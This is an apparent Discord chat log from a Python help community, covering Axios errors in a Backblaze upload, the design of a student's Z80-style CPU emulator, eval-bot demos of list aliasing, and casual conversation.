Backblaze just sounds like you're lighting your farts on fire

wise loom
rugged root
#

SOTA?

#

Sefence of the Ancients

rugged root
#

Ah gotcha

#

"State of the art"

dusky lynx
#

@rugged root

rugged root
#

Roger

dusky lynx
#

Copy, over and out

wise loom
amber raptor
dusky lynx
#

AxiosError: socket hang up
at connResetException (node:internal/errors:704:14)
at TLSSocket.socketOnEnd (node:_http_client:505:23)
at TLSSocket.emit (node:events:525:35)
at endReadableNT (node:internal/streams/readable:1358:12)
at processTicksAndRejections (node:internal/process/task_queues:83:21) {
code: 'ECONNRESET',
config: {
...
...
@Mr. Hemlock
// UPLOAD PART
console.log("xBzPartNumber:".white, xBzPartNumber);
const sha1OfData = crypto
.createHash("sha1")
.update(req.files[0].buffer)
.digest("hex");
await axios
.post(uplPartUrl, null, {
headers: {
Authorization: uplAuthToken,
// "Content-Type": "application/json; charset=utf-8",
"X-Bz-Part-Number": xBzPartNumber.toString(),
"Content-Length": (
parseInt(req.body.chunkContentLength) + 40
).toString(),
"X-Bz-Content-Sha1": sha1OfData,
},
})
.then(async (response) => {
console.log(
"upl part res part:".bgCyan,
response.data.partNumber
);
@Mr. Hemlock
@rugged tundra

amber raptor
rugged root
#
const express = require('express');
const backblaze = require('backblaze-b2');

const app = express();

app.post('/upload', (req, res) => {
  const file = req.files.file;
  const b2 = new backblaze({
    appId: 'YOUR_APP_ID',
    appKey: 'YOUR_APP_KEY',
    accountId: 'YOUR_ACCOUNT_ID',
    vaultName: 'YOUR_VAULT_NAME',
  });

  b2.upload(file, (err, result) => {
    if (err) {
      res.send(err);
    } else {
      res.send(result);
    }
  });
});

app.listen(3000, () => {
  console.log('App listening on port 3000');
});

No idea if that's helpful

#

Poking around what I can find

#

Back in a jiffy

#

Have to restart my rig

minor sage
#

anyone wanna help me with a biggerish personal project for a class im taking?

minor sage
rugged root
#

Is this a project they expect you to do on your own?

wind raptor
minor sage
#

memory addresses, instruction set, proper execution methods/loading methods and a custom code viewer/ editor

#

its been 4 days and my teacher wont reply to my questions so ive resorted to discord help lol

rugged root
#

How much time do you have on the project? Like when was it assigned and when is it due

minor sage
#

due january 31st at midnight i got some time

rugged root
#

Fair

minor sage
#

and last week monday

#

more or less im trying to figure out if i make each instruction its own def or store them all in a dictionary

#

i guess what im asking is which one do you think would run smoother lol

rugged root
#

You can do both

#

Define each of the instructions, and then list the instructions in a dict

#

!e

def mult_by_2(num):
  return num * 2

functions = {"mult_by_2": mult_by_2}
print(functions["mult_by_2"](4))
wise cargoBOT
#

@rugged root :white_check_mark: Your 3.12 eval job has completed with return code 0.

8
minor sage
#

sorry for asking my guy i code in assembly mostly. im starting to think i should of taken a few classes on python before jumping into an advanced applications class

wind raptor
#

If your instructions are stored as a string, then what hemlock did there is exactly what you want.

minor sage
#

we use an as400 system at work and they wanted me to learn more about our new system were getting so they signed me up for this shit,

#

sounds good to me sir πŸ™‚

rugged root
#

You'll be able to do this to parse a given string of file of assembly instructions and just process them

#

For something like this, biggest parts are going to be your instruction definitions and string parsing

minor sage
#

so more or less just define the strings stored in the dictionary and pull from the dictionary? hope i said that right

rugged root
#

Define the functions, then link them to string keys in the dictionary. Something like that. Not sure how to articulate it either

#

This will also let you handle errors if someone tries to do an instruction that doesn't exist

minor sage
#

Im only on the second iteration out of the required 3 so i guess i got alot of typing to do

rugged root
#

Yeah, no escaping that

#

If you need help with some concepts and what have you, don't hesitate to ask

#

Going from really low level to high level can be a bit jarring

minor sage
#

Thank you sir πŸ™‚ really means alot to me. There isnt a whole lot of actual documentation online on this exact subject, my buddy whos going for computer science major and computer engineering minor at michigan has given me all of the python books/ powerpoints hes gotten the last 3 years which helps alot. Still brain fried from it all.

rugged root
#

Yeeeaahhhh when people are that deep it's hard to look from the perspective of a new person

#

But that's what we love to help with, so you're in good hands

#

I'm curious, though

#

What editor are you using?

minor sage
#

good ole visual studio

rugged root
#

Wait

#

VS Proper or VS Code?

minor sage
#

vs code

rugged root
#

Oh thank god

#

When people accidentally start doing Python in VS proper...

#

Always feel bad for them

minor sage
#

ive gotten to the point with assy. that i can legit use notpad lmfao

rugged root
#

The benefit of being at that low level

minor sage
#

I know some C and CS but not a whole lot

rugged root
#

Never learned the C's. I like poking around C#. Closest I ever got to messing with assembly was... I think the game was Shenzen I/O?

minor sage
#

ive dabbled in C# as well about the same with lua

rugged root
#

Never actually messed with Lua. It's on my list

minor sage
#

are python and java/js like siblings?

#

im my early days of computer science i also dabbled in arm assembly

rugged root
#

Not really. The main Python implementation is in C, and it's inspired by lots of languages

#

Also, Java and JavaScript are related in name only

#

They aren't from the same team or anything like that

minor sage
#

makes sense from what ive experienced so far

#

actually i didnt know that

rugged root
#

Yep yep!

minor sage
#

would you like to know the requirements for this project?

rugged root
#

Yeah, you have me curious

minor sage
#

CPU core, proper registers, a PC, stack pointer, flags, decode/execute cycles. A custom instruction set with block transfers/ indexed instructions, a full user friendly gui, memory management with 64kb of memory, IO handling, and proper data processing through the gui

#

oh and i think with our programs theyre going to have us expand with virtual isa cards / multiplexed ram so cant wait lol

#

honestly would probably be better off just writing machine code/ drivers

#

im going to try and base the general instruction design off the Z80 and start off with 5 registers

#

class CPU:
def init(self):
self.registers = {'A': 0, 'B': 0, 'C': 0, 'D': 0, 'E': 0} #5 registers
self.memory = [0] * 256 # 256 bytes of memory
self.pc = 0 # Program counter
self.flags = {'Z': 0} # Zero flag, for simplicity
self.running = True

#

and were going to define cpu speed to single tick or 1mhz auto play

#

@rugged root

rugged root
#

Ooo

#

Sorry, doing work thing at the same time

minor sage
#

my bad sir

rugged root
#

no no, you're fine

minor sage
#

is this how i would define opcodes and operands

#

more or less just setting the opcode to the instruction etc... 0x80 to add and 0x70 to subtract?

rugged root
#

You could even do that as your keys in the dictionary

#
instructions = {
  0xF0: function_here,
  0x0F: other_function_here
}
#

Or something like that

#

Although I'd have to see how it's giving the codes

minor sage
#

register A comes back as 5 and zero flag is correct

dusky lynx
#

AxiosError: socket hang up
at connResetException (node:internal/errors:704:14)
at TLSSocket.socketOnEnd (node:_http_client:505:23)
at TLSSocket.emit (node:events:525:35)
at endReadableNT (node:internal/streams/readable:1358:12)
at processTicksAndRejections (node:internal/process/task_queues:83:21) {
code: 'ECONNRESET',
config: {
...
...
@Mr. Hemlock
// UPLOAD PART
console.log("xBzPartNumber:".white, xBzPartNumber);
const sha1OfData = crypto
.createHash("sha1")
.update(req.files[0].buffer)
.digest("hex");
await axios
.post(uplPartUrl, null, {
headers: {
Authorization: uplAuthToken,
// "Content-Type": "application/json; charset=utf-8",
"X-Bz-Part-Number": xBzPartNumber.toString(),
"Content-Length": (
parseInt(req.body.chunkContentLength) + 40
).toString(),
"X-Bz-Content-Sha1": sha1OfData,
},
})
.then(async (response) => {
console.log(
"upl part res part:".bgCyan,
response.data.partNumber
);
@Mr. Hemlock
@Focus

#

@rugged tundra

minor sage
dusky lynx
#

await axios
.post(uplPartUrl, null, {
headers: {
Authorization: uplAuthToken,
// "Content-Type": "application/json; charset=utf-8",
"X-Bz-Part-Number": xBzPartNumber.toString(),
"Content-Length": (
parseInt(req.body.chunkContentLength) + 40
).toString(),
"X-Bz-Content-Sha1": sha1OfData,
},
})

rugged root
#

Ooo, interesting

minor sage
#

we now need to add more instructions and their output will be displayed to the registers

#

a little more advanced than binary but itll work for me

rugged root
#

!e

ham = ["spam", "pork", "beef"]
print(ham[0x00])
wise cargoBOT
#

@rugged root :white_check_mark: Your 3.12 eval job has completed with return code 0.

spam
rugged root
#

Huh

#

Didn't realize that would work

minor sage
#

give them a 0 value and set a flag self.flags = {'Z': 0} then do print

#

but you might have to add another instruction

whole bear
#

Hemlock what state do you live in?

minor sage
#

helpfulville

rugged root
#

Denial

whole bear
#

I'll see you all later

#

@wind raptor Wanna play chess?

#

My mic is not working

dusky lynx
#

AxiosError: connect ECONNREFUSED
at TCPConnectWrap.afterConnect [as oncomplete]

#

@rugged tundra

rugged tundra
#

I have same error but in Node, I remove proxy: undefined, and works.

I tried with proxy: false and this make error too

minor sage
#

elif opcode == 0x50:
self.registers['A'] *= self.registers['B']
self.registers['A'] %= 256 # Handle Overflow

#

adding proper overflow handling within the registers

amber raptor
minor sage
#

self.registers['B'] != 0:

#

would this be the proper way to prevent the opcodes from using 0 in devision?

#

lif opcode == 0x60:
if self.registers['B'] != 0: # Prevent division by zero
self.registers['A'] //= self.registers['B']
else:
# Handle division by zero as an error or set to a default value
self.registers['A'] = 0

rugged tundra
#

I recently have this issue with Axios and the solution was to check my URL. It seems that when you are calling an URL on local without http:// or https:// , Axios tried to connect to localhost.

minor sage
#

i believe theres around 150 opcodes within the z80 so i guess i have some research to do

dense ibex
#
Image segmentation is a process used in computer vision and image processing to partition an image into multiple segments or regions, often to simplify or change the representation of an image into something more meaningful and easier to analyze. Here's a basic overview of how it works:

    Identification of Similarities: Image segmentation aims to group together pixels that have similar attributes. The similarity criteria can be based on intensity, color, texture, location, or a combination of these.

    Segmentation Techniques:
        Thresholding: The simplest approach is thresholding, which involves dividing an image into foreground and background based on pixel intensity. Pixels above a certain threshold are assigned to one segment, while those below are assigned to another.
        Edge-based Segmentation: This technique focuses on detecting edges within the image. Pixels where there's a sharp change in intensity or color are marked as edges, defining the boundaries of segments.
        Region-based Segmentation: This involves grouping pixels into larger regions based on predefined criteria. Two common approaches are region growing (where regions are grown from seed points) and split-and-merge (where an image is recursively split into segments until a criterion is met).
        Clustering Methods: Techniques like K-means clustering are used to group pixels into clusters based on feature similarity.
        Watershed Algorithm: This method treats the image as a topographic map, with the intensity of each pixel representing elevation. The algorithm identifies "watershed lines" to segment the image into different regions or "catchment basins."

    Post-processing: After segmentation, post-processing might be necessary to refine the segments, which could include removing small regions or smoothing the boundaries between segments.

    Applications: Image segmentation is used in various applications such as medical imaging (to segment different anatomical structures), object recognition, traffic control systems, and scene understanding.

Each technique has its strengths and is suitable for different types of images and applications. The choice of method depends on the specific requirements of the task at hand. For instance, medical image segmentation often requires very precise and accurate techniques, whereas simpler applications like separating the background from the foreground in a photo might use more straightforward methods like thresholding.
desert wolf
desert wolf
willow gate
rugged root
#

What is that on?

willow gate
whole bear
lavish rover
#

@rugged root hello fren how have you been?

rugged root
#

I'm better than I have been

#

That's for sure

ionic flicker
#

hello

#

very good

#

you can programming on this phone

wise loom
#

I want to discuss eclairs more, I believe they're overlooked

#

@shadow pivot ^^ what do you think about eclairs?

wise loom
#

I mean yes, they are dangerous

wise loom
wise loom
lavish rover
wind raptor
#

🀣

dim abyss
wind raptor
#

!stream 447036109281689610

wise cargoBOT
#

βœ… @dim abyss can now stream until <t:1699488182:f>.

dim abyss
#
class Tensor[T]:
    def __init__(self, shape: tuple[int, ...], default: T = None):
        size = prod(shape)
        self.__data = [default for _ in range(size)]
wise loom
#

!eval print( [1,2,] * 4 )

wise cargoBOT
#

@wise loom :white_check_mark: Your 3.12 eval job has completed with return code 0.

[1, 2, 1, 2, 1, 2, 1, 2]
dim abyss
#

!eval ```py
class DataWrapper:
def init(self, data):
self.data = data

def __str__(self):
    return str(self.data)

obj = DataWrapper([1, 2, 3])
arr = [obj for _ in range(10)]
arr[0].data[0] = 100
print(arr)

wise cargoBOT
#

@dim abyss :white_check_mark: Your 3.12 eval job has completed with return code 0.

[<__main__.DataWrapper object at 0x7f1807033b00>, <__main__.DataWrapper object at 0x7f1807033b00>, <__main__.DataWrapper object at 0x7f1807033b00>, <__main__.DataWrapper object at 0x7f1807033b00>, <__main__.DataWrapper object at 0x7f1807033b00>, <__main__.DataWrapper object at 0x7f1807033b00>, <__main__.DataWrapper object at 0x7f1807033b00>, <__main__.DataWrapper object at 0x7f1807033b00>, <__main__.DataWrapper object at 0x7f1807033b00>, <__main__.DataWrapper object at 0x7f1807033b00>]
dim abyss
#

!eval ```py
from math import prod

class DataWrapper:
def init(self, data):
self.data = data

def __repr__(self):
    return str(self.data)

obj = DataWrapper([1, 2, 3])
arr = [obj for _ in range(10)]
arr[0].data[0] = 100
print(arr)

wise cargoBOT
#

@dim abyss :white_check_mark: Your 3.12 eval job has completed with return code 0.

[[100, 2, 3], [100, 2, 3], [100, 2, 3], [100, 2, 3], [100, 2, 3], [100, 2, 3], [100, 2, 3], [100, 2, 3], [100, 2, 3], [100, 2, 3]]
dim abyss
#

!eval from math import prod

class DataWrapper:
def init(self, data):
self.data = data

def __repr__(self):
    return str(self.data)

obj = DataWrapper([1, 2, 3])
arr = [obj] * 3
arr[0].data[0] = 100
print(arr)

wise cargoBOT
#

@dim abyss :white_check_mark: Your 3.12 eval job has completed with return code 0.

[[100, 2, 3], [100, 2, 3], [100, 2, 3]]
wraith frigate
#

Hi, how did your conversation on this topic even begin? I missed it

somber heath
#

!e py a = [] b = [a for _ in range(3)] print(b) a.append(123) print(b)

wise cargoBOT
#

@somber heath :white_check_mark: Your 3.12 eval job has completed with return code 0.

001 | [[], [], []]
002 | [[123], [123], [123]]
wraith frigate
#

Could you repeat it again more slowly I don't know English well

#

If you said that to me

#

πŸ™‚

somber heath
dim abyss
#

Yes

wraith frigate
#

Wow, that's cool! You will succeed

dim abyss
#
from math import prod


class Tensor[T]:
    def __init__(self, shape: tuple[int, ...]):
        self.__data: T = [None for _ in range(prod(shape))]
        self.__shape: tuple[int, ...] = shape

    def __getitem__(self, index: tuple[int, ...]) -> T:
        return self.__data[self.__get_index(index)]

    def __setitem__(self, index: tuple[int, ...], value: T) -> None:
        self.__data[self.__get_index(index)] = value
#

That response works but a more typical response would be "Wow, that's cool! Good luck"

wraith frigate
#

How much time do you program all the time?

somber heath
#

I don't know. I like the determination of it.

#

"YOU WILL SUCCEED."

dim abyss
#

Did you mean to ask how often I code?

wraith frigate
#

Where are you guys from? I am from Russia\

somber heath
#

Would you like me to tell you or would you like to guess?

wraith frigate
#

Tell

wraith frigate
#

YOU still haven't said

somber heath
#

What's that animal?

#

Where is it from?

#

I don't want to break out the spiders.

#

Okay, that's a lie.

somber heath
minor sage
#

danger dog

#

i think id shit my pants if that was running at me

#

come join me in #1 i cant talk again if i leave till tomorrow 😦

wind raptor
#

@desert vector I'll be on in a few

desert vector
#

okie doke

desert vector
wet scroll
#

hi guys

desert vector
wet scroll
#

what do you guys make with python?

desert vector
wet scroll
#

thats cool :0

wind raptor
#

You can use it for almost anything. I've made gui, web apps, cli, scripts, messaging apps, api tools, etc

wet scroll
#

anything?

wind raptor
#

almost

desert vector
#

mostly

#

some things are just not feasible

#

and some things other languages are better suited for

wind raptor
#

low level stuff is better done in another language

wet scroll
#

i wish i knew C language

desert vector
#

I'll always stand by saying C is not hard, it's just very free-ing

#

you have no tools; make the universe

wet scroll
#

i tried to learn it but i sucked at it

#

is python better for making DAWs or is C better for them?

#

DAW = digital audio workstation

#

FL studio

#

so which one is better for making daws

#

man i cant do c++ :(

#

ill just stay with python for now

#

if it sucked ill do it with c++

#

i was doing luau before

#

(roblox)

#

you guys wanna see the progress i have so far with my qt designer?

#

the ui is heavily inspired by fl studio

#

:D

#

the app is neomad btw

#

its for making ytpmv

#

should i just switch to C++?

#

screw this im just gonna switch to C++

#

guys which app should i use for making this

#

Visual Studio (not code) or Qt Creator

#

oke

#

why do i always have to stop at this kits thing?

#

is there something i have to do to like use them

#

hello?

#

@desert vector

#

yeah

#

hold on let me send ss

#

how do i fix it?

#

what did you say

#

what do you mean?